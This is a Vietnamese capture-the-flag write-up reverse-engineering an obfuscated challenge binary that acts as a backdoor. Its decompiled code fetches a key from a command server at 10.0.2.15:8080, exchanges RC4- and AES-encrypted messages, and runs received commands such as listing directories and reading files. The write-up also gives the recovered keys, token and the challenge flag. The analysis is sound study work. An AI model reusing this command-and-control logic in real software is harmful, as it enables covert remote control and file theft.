v16 = v74;
do
{
*v16 ^= 54 - v74 + v16;
v16 = (v16 + 1);
}
while ( (&v75 + 6) != v16 );
v17 = strlen(v72);
mem_concat(v72, v17, v74, 13, v72);
v18 = strlen(v72);
mem_concat(v72, v18, v65, 64, v72);
wmemcpy(v74, L"ᬔᬘ告䥎Ԝ灠灰灰䜻", 9);
v19 = v74;
do
{
*v19 ^= 54 - v74 + v19;
v19 = (v19 + 1);
}
while ( v19 != (&v76 + 2) );
v20 = strlen(v72);
mem_concat(v72, v20, v74, 17, v72);
v21 = strlen(v72);
rc4(v70, v61[0], v72, v21, v71);
v22 = strlen(v72);
v23 = strlen(user_token);
mem_concat(user_token, v23, v71, v22, v71);
v24 = strlen(v72);
v25 = v24 + strlen(user_token);
v26 = b64_encode(v71, v25);
wcscpy(v74, L"key");
v56 = v26;
if ( !post_request(v74, v26, 0) )
return -1;
memset(&key_bytes, 0, 30);
memset(&iv_bytes, 0, 30);
if ( !string2hex(key, 0x20u, &key_bytes) )
return -1;
if ( !string2hex(iv, 0x20u, &iv_bytes) )
return -1;
get_current_dir();
v28 = 54 - v74;
while ( 2 )
{
memset(v72, 0, 2048);
wmemcpy(v74, L"ᕍ䵋佛义Ԝ捠☰℥政䤵", 10);
v29 = v74;
do
{
*v29 ^= v28 + v29;
v29 = (v29 + 1);
}
while ( v29 != (&v76 + 4) );
v30 = strlen(v72);
mem_concat(v72, v30, v74, 19, v72);
v31 = (strlen(v72) & 0xFFFFFFF0) + 16;
AES_init_ctx_iv(v66, &key_bytes, &iv_bytes);
AES_CBC_encrypt_buffer(v66);
v32 = strlen(user_token);
mem_concat(user_token, v32, v72, v31, v72);
v33 = strlen(user_token);
v34 = b64_encode(v72, v31 + v33);
v35 = v74;
v36 = 54;
wmemcpy(v74, L"TRYZUUcMWQ'A", 12);
do
*v35++ ^= v36++;
while ( &v77 != v35 );
if ( !post_request(v74, v34, v56) )
return -1;
if ( strcmp(v56, &unk_40F000) )
assert("!strcmp(response, \"Ok\")", ".\\challenge.c", 126);
v62 = 0;
memset(v64, 0, 48);
if ( WSAStartup(514, v67) )
return -1;
wmemcpy(v74, L"ԇഋ㬏", 3);
v64[0] = 0x200000001;
v64[1] = 0x600000001;
v37 = getaddrinfo;
v38 = v74;
do
{
*v38 ^= v28 + v38;
v38 = (v38 + 1);
}
while ( &v74[3] != v38 );
v55 = v37(0, v74, v64, &v62);
if ( v55 )
{
LABEL_39:
v50 = -1;
WSACleanup();
return v50;
}
v39 = socket(*(v62 + 4), *(v62 + 8), *(v62 + 12));
v40 = v39;
if ( v39 == -1 )
{
v50 = -1;
freeaddrinfo(v62);
WSACleanup();
return v50;
}
if ( bind(v39, *(v62 + 32), *(v62 + 16)) == -1 )
{
v50 = -1;
freeaddrinfo(v62);
LABEL_54:
closesocket(v40);
WSACleanup();
return v50;
}
freeaddrinfo(v62);
if ( listen(v40, 0x7FFFFFFF) == -1 )
{
v50 = -1;
goto LABEL_54;
}
v54 = accept(v40, 0, 0);
if ( v54 == -1 )
{
closesocket(v40);
WSACleanup();
return -1;
}
closesocket(v40);
memset(v73, 0, 4096);
while ( 1 )
{
memset(v69, 0, 1048);
v41 = recv(v54, v69, 1048, 0);
if ( v41 <= 0 )
break;
v57 = strlen(v69);
v42 = strlen(v73);
mem_concat(v73, v42, v69, v57, v73);
if ( v69[strlen(v69) - 1] == 10 )
goto LABEL_31;
}
if ( v41 )
{
closesocket(v54);
goto LABEL_39;
}
LABEL_31:
v73[strlen(v73) - 1] = 0;
v63 = 0;
v43 = strlen(v73);
v44 = b64_decode_ex(v73, v43, &v63);
memset(v66, 0, 192);
AES_init_ctx_iv(v66, &key_bytes, &iv_bytes);
strlen(v73);
AES_CBC_decrypt_buffer(v66, v44);
(*v44)[0][v63] = 0;
v45 = strlen(v44);
v58 = json_parse(v44, v45);
memset(v70, 0, 2048);
v61[0] = 0;
process_object(v58, 2, v70, v61);
memset(v74, 0, 4096);
strcpy(v68, "1");
v46 = strcmp(v70, v68);
if ( v46 )
{
strcpy(v68, "2");
v46 = strcmp(v70, v68);
if ( v46 )
{
strcpy(v68, "3");
v46 = strcmp(v70, v68);
if ( v46 )
{
strcpy(v68, "4");
v46 = strcmp(v70, v68);
if ( v46 )
{
v46 = 0;
strcpy(v68, "5");
if ( !strcmp(v70, v68) )
{
strcpy(v68, "ok");
v46 = 1;
strcpy(v74, v68);
}
}
else
{
pwd(v74);
}
}
else
{
v61[0] = 0;
memset(v68, 0, 1024);
process_object(v58, 3, v68, v61);
cat_file(v68, v74);
}
}
else
{
v61[0] = 0;
memset(v68, 0, 1024);
process_object(v58, 3, v68, v61);
if ( cd_dir(v68) )
{
qmemcpy(v60, "PVQU__<", sizeof(v60));
v51 = v60;
v52 = strcpy;
v53 = 54;
do
*v51++ ^= v53++;
while ( v53 != 61 );
v52(v74);
}
else
{
strcpy(v60, "ok");
strcpy(v74, v60);
}
}
}
else
{
list(v74);
}
v47 = (strlen(v74) & 0xFFFFFFF0) + 16;
memset(v66, 0, 192);
AES_init_ctx_iv(v66, &key_bytes, &iv_bytes);
AES_CBC_encrypt_buffer(v66);
v48 = b64_encode(v74, v47);
v59 = send;
v49 = strlen(v48);
if ( v59(v54, v48, v49, 0) == -1 )
{
v50 = 1;
closesocket(v54);
WSACleanup();
return v50;
}
if ( shutdown(v54, 1) == -1 )
{
closesocket(v54);
v50 = 1;
WSACleanup();
return v50;
}
closesocket(v54);
WSACleanup();
freeaddrinfo(v62);
if ( !v46 )
continue;
return v55;
}

Khúc trên mới nhìn vào thì nó hơi bùi nhùi 1 xíu :)) nma mình sẽ tách từng phần nhỏ ra dễ nói hơn:

P/S: Trong lúc làm mình không đổi tên bất cứ biến nào…, và write up này cũng vậy <(“) nên ráng theo dõi tuần tự nhé

Khởi tạo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
memset(v70, 0, 2048);
wcscpy(v74, L"key");
if ( !get_request(v74, v70) )
return -1;
v3 = strlen(v70);
v4 = b64_decode(v70, v3);
v5 = strlen(v4);
v6 = json_parse(v4, v5);
memset(v70, 0, 2048);
v61[0] = 0;
process_object(v6, 1, v70, v61);
v7 = srand;
v8 = time(0);
v7(v8);
memset(v65, 0, 80);
memset(v71, 0, 2048);

Hàm get_request: thực hiện GET request đến IP 10.0.2.15:8080/ + a1, sau đó response sẽ trả về vào a2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
__int64 __fastcall get_request(const wchar_t *a1, char *a2)
{
__int64 v4; // r12
unsigned int v5; // ebp
__int64 v6; // rax
__int64 v7; // rbx
__int64 v8; // rax
__int64 v9; // rsi
__int64 v10; // rax
__int64 v11; // r13
unsigned int v13; // [rsp+44h] [rbp-1444h] BYREF
unsigned int v14; // [rsp+48h] [rbp-1440h] BYREF
int v15; // [rsp+4Ch] [rbp-143Ch] BYREF
char v16[1024]; // [rsp+50h] [rbp-1438h] BYREF
char v17[4152]; // [rsp+450h] [rbp-1038h] BYREF

v4 = calloc(3000, 1);
v13 = 0;
v14 = 0;
memset(v16, 0, 1024);
v5 = 0;
memset(v17, 0, 4096);
v15 = 1024;
if ( !ObtainUserAgentString(0, v16, &v15) )
{
mbstowcs(v17, v16, 1024);
v6 = WinHttpOpen(v17, 1, 0, 0, 0x10000000);
v7 = v6;
if ( v6 )
{
v8 = WinHttpConnect(v6, L"10.0.2.15", 8080, 0);
v9 = v8;
if ( v8 )
{
v10 = WinHttpOpenRequest(v8, 0, a1, 0, 0, 0, 0);
v11 = v10;
if ( v10 )
{
if ( WinHttpSendRequest(v10, 0, 0, 0, 0, 200, 0) && WinHttpReceiveResponse(v11, 0) )
{
WinHttpQueryDataAvailable(v11, &v13);
v5 = 1;
WinHttpReadData(v11, v4, v13, &v14);
}
else
{
v5 = 0;
}
WinHttpCloseHandle(v11);
}
WinHttpCloseHandle(v9);
}
WinHttpCloseHandle(v7);
}
memcpy(a2, v4, v14);
a2[v14] = 0;
}
return v5;
}

Như vậy trong phần khởi tạo sẽ gọi đến /key để request server -> lưu 2048 bytes trả về vào trong v70.

Sau đó chương trình sẽ decode base64 v70 -> v4. Từ v4 parse json vào v6, và đoán là sẽ lấy object có key v70, lưu vào v61[0].

Để xác thực, dump GET Request /key từ Wireshark và decode base64 ta được:

1
{"token": "ce537007fc0c1f1b42680e74d2658ab100bef36a43d8afaac4ece4702fb1610f", "key": "yuaNTDdgYR3cJIQcpnSfe6fXlWKMUmZxFzD0xWKVjNXWPYlShZVL+zg9TOnFkWBeoK03bp7i+WZCVZDflzzc3A=="}

-> Xác thực giả thiết và v61[0] sẽ chứa key ở dạng base64!

Tạo khoá công khai với RC4

Khúc này ban đầu mình cũng khá là đau đầu :)) hàm text_68 sau khi inspect sẽ biết được nó là vsprintf, vậy mà tham số truyền vào lại là mấy chuỗi tiếng Tàu… vậy thì đống data xử lý như thế nào <(“).

Khoảng vài phút sau mới nhận ra thực ra là lỗi bên IDA :)) VMProtect đổi mấy hàm strcpy thành wcscpy để anti static analysis, thành ra IDA sẽ luôn nhận tham số thứ 2 là chuỗi Unicode, thay vì là chuỗi ascii (1 ký tự Unicode được ghép từ 2 hay nhiều bytes lại với nhau, trong khi ascii chỉ cần 1 byte để biểu diễn)

Quick fix cho vấn đề này thì phải tab qua lại với bên assembly để lấy số ban đầu, sau đó decode sang chuỗi little endian… Chú ý: cách này mình dùng trong lúc thi thôi do thời gian gấp rút, còn cho đơn giản thì có thể dùng cyberchef như sau

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
v9 = key;
v61[1] = 0;
v10 = iv;
do
{
v11 = rand();
v12 = v11;
wcscpy(v74, L"〥報"); // %01X -> Để in hex
text_68(v9, v74, (v11 >> 4) & 0xF);
wcscpy(v74, L"〥報"); // %01X
text_68(v9 + 1, v74, v12 & 0xF);
v13 = rand();
v14 = v13;
wcscpy(v74, L"〥報"); // %01X
text_68(v10, v74, (v13 >> 4) & 0xF);
v9 += 2;
wcscpy(v74, L"〥報"); // %01X
v15 = v10 + 1;
v10 += 2;
text_68(v15, v74, v14 & 0xF);
}
while ( v9 != &key[32] ); // Tạo random 1 số và convert sang hex nối vào key (v9), tương tự với IV (v10)
mem_concat(key, 32, iv, 32, v65); // Nối: v65 = key + iv, mỗi chuỗi độ dài là 32 bytes -> size Key với IV là 16
memset(v72, 0, 2048);
wmemcpy(v74, L"ᕍ䭈䵓䥝ᵛ慺䍠", 7); // \x4d\x15\x48\x4b\x53\x4d\x5d\x49\x5b\x1d\x7a\x61\x60\x43
v16 = v74;
do
{
*v16 ^= 54 - v74 + v16; // Tối giản thành *v16 ^= 54 + i -> {"private": "\x00
v16 = (v16 + 1);
}
while ( (&v75 + 6) != v16 );
v17 = strlen(v72);
mem_concat(v72, v17, v74, 13, v72); // v72 += v74
v18 = strlen(v72);
mem_concat(v72, v18, v65, 64, v72); // v72 += v65
wmemcpy(v74, L"ᬔᬘ告䥎Ԝ灠灰灰䜻", 9); // \x14\x1b\x18\x1b\x4a\x54\x4e\x49\x1c\x05\x60\x70\x70\x70\x70\x70\x3b\x47
v19 = v74;
do
{
*v19 ^= 54 - v74 + v19; // Tương tự -> ", "port": 12345}\x00
v19 = (v19 + 1);
}
while ( v19 != (&v76 + 2) );
v20 = strlen(v72);
mem_concat(v72, v20, v74, 17, v72); // v72 += v74
v21 = strlen(v72);
rc4(v70, v61[0], v72, v21, v71); // Từ hàm RC4 trên https://gist.github.com/rverton/a44fc8ca67ab9ec32089,
// Thứ tự có thể là key -> plain -> cipher, suy ra là encrypt v72 với key là v61[0], hay key mà ta tìm được ở phần trước (thông qua request từ server), kết quả sẽ lưu ở v71
v22 = strlen(v72);
v23 = strlen(user_token);
mem_concat(user_token, v23, v71, v22, v71); // v71 = user_token + v71, user_token ở đây có thể là token ở phần trước, do đã bỏ qua việc xét tới hàm process_object
v24 = strlen(v72);
v25 = v24 + strlen(user_token);
v26 = b64_encode(v71, v25); // encode v71 -> v26
wcscpy(v74, L"key");
v56 = v26;
if ( !post_request(v74, v26, 0) ) // Gửi post request v26 lên server:
return -1;

Với lượng thông tin ta biết được, cấu trúc của gói tin sẽ như sau:

Base64(TOKEN_FROM_SERVER + RC4(KEY_FROM_SERVER, JSON_OF_KEY_IV))

-> Giải mã được như sau:

1
{"private": "3A87C22F8F2500606FACB653F1F686BC94DC0CF2BA4F121A94FB432D59D53992", "port": 12345}

Tách làm đôi

1
2
KEY = 3A87C22F8F2500606FACB653F1F686BC, 
IV = 94DC0CF2BA4F121A94FB432D59D53992

Thiết lập kết nối

Ở phần này thì thực ra chỉ cần để ý những dòng sau:

1
2
3
4
5
6
AES_init_ctx_iv(v66, &key_bytes, &iv_bytes);
AES_CBC_encrypt_buffer(v66);
v32 = strlen(user_token);
mem_concat(user_token, v32, v72, v31, v72);
v33 = strlen(user_token);
v34 = b64_encode(v72, v31 + v33);

Hơn nữa hàm parse_json cũng sẽ được gọi khá nhiều -> Chương trình đang thiết lập giao thức socket TCP bằng AES CBC với KEY và IV ở trên. Lúc mình làm ra khúc này thì còn 10p :)) nên phần sau đây sẽ lụi luôn <(“), setup cyberchef với thông số thích hợp và lần lượt dump các tcp stream để check xem giao tiếp qua lại những gì (khúc này chắc ý định của tác giả sẽ là viết tool để decode conversation, nhưng hên là không có quá nhiều nên mình làm chay vẫn kịp giờ :)))

Nhìn sơ qua thì có vẻ chương trình đang thực hiện chạy lệnh gì đó, (maybe nhận lệnh đọc file từ server, sau đó gửi ngược lại ?). Cấu trúc gói tin của 2 bên cũng tương tự như trên:

Base64(USER_TOKEN + AES(KEY_FROM_SERVER, IV_FROM_SERVER, DATA))

Kết quả là đã tìm được ở tcp stream 20 :))

Phần UserToken mình làm biếng nên sẽ để chung rồi decrypt luôn, cũng không ảnh hưởng mấy tới kết quả :v

flag: n3tc4t_15_l15t3nIng_0n_p07t_8080